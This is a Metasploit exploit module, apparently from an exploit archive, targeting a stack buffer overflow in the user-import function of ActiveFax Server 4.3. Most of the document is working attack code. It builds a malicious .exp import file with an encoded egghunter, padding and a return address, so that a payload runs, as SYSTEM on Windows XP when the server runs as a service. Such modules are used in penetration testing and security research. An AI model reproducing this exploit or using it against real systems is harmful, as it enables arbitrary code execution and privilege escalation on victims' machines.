ActiveFax (ActFax) 4.3 – Client Importer Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'ActiveFax (ActFax) 4.3 Client Importer Buffer Overflow', 'Description' => %q{ This module exploits a vulnerability in ActiveFax Server. The vulnerability is a stack based buffer overflow in the "Import Users from File" function, due to the insecure usage of strcpy while parsing the csv formatted file. The module creates a .exp file that must be imported with ActiveFax Server. It must be imported with the default character set 'ECMA-94 / Latin 1 (ISO 8859)'. The module has been tested successfully on ActFax Server 4.32 over Windows XP SP3 and Windows 7 SP1. In the Windows XP case, when ActFax runs as a service, it will execute as SYSTEM. }, 'License' => MSF_LICENSE, 'Author' => [ 'Craig Freyman', # Vulnerability discovery and PoC 'Brandon Perry', # Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ [ 'EDB', '20915' ], [ 'URL', 'http://www.pwnag3.com/2012/08/actfax-local-privilege-escalation.html' ] ], 'DefaultOptions' => { 'ExitFunction' => 'process', }, 'Platform' => 'win', 'Payload' => { 'Space' => 4000, 'BadChars' => "", 'DisableNops' => true, }, 'Targets' => [ [ 'ActFax 4.32 / Windows XP SP3 EN / Windows 7 SP1', { 'Ret' => 0x00401b22, # ret from ActFax.exe] 'Offset' => 512 } ] ], 'Privileged' => true, 'DisclosureDate' => 'Aug 28 2012', 'DefaultTarget' => 0)) register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.exp']),], self.class) end def exploit #These badchars do not apply to the final payload badchars = (0x00..0x20).to_a.pack("C*") + "\x7c" eggoptions = { :checksum => true, :eggtag => 'w00t' } hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions) [ 'x86/alpha_upper'].each { |name| enc = framework.encoders.create(name) if name =~/alpha/ enc.datastore.import_options_from_hash({ 'BufferRegister' => 'ESP' }) end hunter = enc.encode(hunter, nil, nil, platform) } buffer = "\x83\xC4\x7f" * 19 # add esp, byte 0xff buffer << "\x83\xC4\x23" # add esp, byte 0x23 buffer << hunter buffer << rand_text(target['Offset'] - buffer.length, badchars) buffer << [target.ret].pack("V") buffer << egg file = "User Name\tEntire User Name\tPassword\tAlias-Names\tGroup\tDirect Dialing\tCost Account\tPermissions\tComments\tUser-Defined\t" file << "Predefined Settings\tName 1\tName 2\tName 3\tName 4\tName 5\tDepartment\tAttention of\tPhone 1\tPhone 2\tFax Number\tE-Mail\t" file << "Coverpage Non-Windows\tOverlay Non-Windows\tCoverpage Windows\tOverlay Windows\tUser-Defined\tPrinter Settings\tAutomatic Printing Outgoing\t" file << "Printer Name Outgoing\tReport Outgoing\tAutomatic Printing Incoming\tPrinter Name Incoming\tReport Incoming\tNotification Outgoing\t" file << "Email Outgoing\tNotification Incoming\tEmail Incoming\tAttach Original Message\tUser-Defined Archive Settings\tExport Outgoing\t" file << "Export Incoming\tExport-Path\tMark as Read\r\n" file << buffer file << "\r\n" file_create(file) end end |